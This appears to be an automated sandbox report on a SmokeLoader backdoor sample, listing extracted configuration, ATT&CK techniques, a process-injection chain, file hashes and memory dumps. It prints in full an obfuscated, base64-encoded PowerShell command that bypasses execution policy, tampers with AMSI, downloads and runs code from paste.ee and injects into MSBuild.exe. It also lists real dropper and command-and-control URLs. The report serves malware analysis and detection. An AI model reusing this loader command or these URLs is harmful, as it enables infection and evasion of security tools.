smokeloader | 044c16cdbc6ec18f58bfecaacf4d4e21150a19d8d10c694c4a4c3085697499a2

Analysis

max time kernel
26s
max time network
116s
platform
windows10_x64
resource
win10v20201028
submitted
04-01-2021 02:13

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General

Target

21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe

Score

10^/10

smokeloader backdoor trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

httPs://paste.ee/r/xPuht

ps1.dropper

httPs://paste.ee/r/ju7HN

Extracted

Family

smokeloader

Version

2018

http://perkyplay.com/z/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

12 1416 powershell.exe

flow	pid	process
12	1416	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

MSBuild.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1416 set thread context of 2096 1416 powershell.exe MSBuild.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2420 powershell.exe
2420 powershell.exe
2420 powershell.exe
1416 powershell.exe
1416 powershell.exe
1416 powershell.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

MSBuild.exe

pid process

2096 MSBuild.exe
2096 MSBuild.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2420 powershell.exe
Token: SeDebugPrivilege 1416 powershell.exe

description	pid	process	target process
PID 1416 set thread context of 2096	1416	powershell.exe	MSBuild.exe

pid	process
2420	powershell.exe
2420	powershell.exe
2420	powershell.exe
1416	powershell.exe
1416	powershell.exe
1416	powershell.exe

pid	process
2096	MSBuild.exe
2096	MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exepowershell.exepowershell.exe

description	pid	process	target process
PID 880 wrote to memory of 2420	880	21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe	powershell.exe
PID 880 wrote to memory of 2420	880	21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe	powershell.exe
PID 880 wrote to memory of 2420	880	21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe	powershell.exe
PID 2420 wrote to memory of 1416	2420	powershell.exe	powershell.exe
PID 2420 wrote to memory of 1416	2420	powershell.exe	powershell.exe
PID 2420 wrote to memory of 1416	2420	powershell.exe	powershell.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe
PID 1416 wrote to memory of 2096	1416	powershell.exe	MSBuild.exe

C:\Users\Admin\AppData\Local\Temp\21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe
"C:\Users\Admin\AppData\Local\Temp\21c3fb175492561c6527cdefc46fde66ba2bc11ca4b50edf887423654ab8b259.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe PowERsHEL`l.`ExE -ExecutionPolicy Bypass -w 1 /`e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AeABQAHUAaAB0ACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBqAHUANwBIAE4AJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AeABQAHUAaAB0ACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBqAHUANwBIAE4AJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1416

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Maps connected drives based on registry
- Suspicious behavior: MapViewOfSection
PID:2096

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
e57c44e28af3bfd14b38176e868bc49f

SHA1
38aa16617f18da80316f5264949f2d5fa61191eb

SHA256
7b5921d55461531e58bfabc5948088cbc7592a2e1f1fe87c4eb02c291923b43f

SHA512
4f4a2c97652618cbeb1c99477367f1cea44ff97a9a3062209b568cea2746701b23eb69ccff5af767c1bd588952ea6373908e4520de9f2b7e27197516cf60ae8f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
ecb44320cfdf8b9e22032f38b8ecca49

SHA1
c8b2999f2313da9c5705fbe7b601307782b86a3b

SHA256
9f2500880986b7b10c9d2d3c9b86e2a33bead52c91e196cb735936a66841c8ed

SHA512
4d1afab791862e28ef5a0fc55f88d732c155655154c263c4f3c8d0fbe3b109cec10ea4bf9f70c92dbbda67a63b822c425f3bb6c858708e982e48de0c16d02eff

Download Submit
memory/1416-13-0x0000000000000000-mapping.dmp

Download
memory/1416-27-0x0000000008D60000-0x0000000008D8F000-memory.dmp

Filesize
188KB

Download
memory/1416-26-0x0000000009990000-0x0000000009991000-memory.dmp

Filesize
4KB

Download
memory/1416-25-0x000000000A2D0000-0x000000000A2D1000-memory.dmp

Filesize
4KB

Download
memory/1416-24-0x00000000098D0000-0x00000000098D1000-memory.dmp

Filesize
4KB

Download
memory/1416-14-0x0000000072E60000-0x000000007354E000-memory.dmp

Filesize
6.9MB

Download
memory/2096-30-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

Filesize
84KB

Download
memory/2096-29-0x0000000000402931-mapping.dmp

Download
memory/2096-28-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2420-7-0x0000000007D50000-0x0000000007D51000-memory.dmp

Filesize
4KB

Download
memory/2420-12-0x0000000008750000-0x0000000008751000-memory.dmp

Filesize
4KB

Download
memory/2420-11-0x0000000008470000-0x0000000008471000-memory.dmp

Filesize
4KB

Download
memory/2420-10-0x0000000007F90000-0x0000000007F91000-memory.dmp

Filesize
4KB

Download
memory/2420-9-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

Filesize
4KB

Download
memory/2420-8-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

Filesize
4KB

Download
memory/2420-2-0x0000000000000000-mapping.dmp

Download
memory/2420-6-0x0000000007670000-0x0000000007671000-memory.dmp

Filesize
4KB

Download
memory/2420-5-0x0000000007720000-0x0000000007721000-memory.dmp

Filesize
4KB

Download
memory/2420-4-0x0000000004B60000-0x0000000004B61000-memory.dmp

Filesize
4KB

Download
memory/2420-3-0x0000000072E60000-0x000000007354E000-memory.dmp

Filesize
6.9MB

Download
memory/2868-32-0x0000000000660000-0x0000000000661000-memory.dmp

Filesize
4KB

Download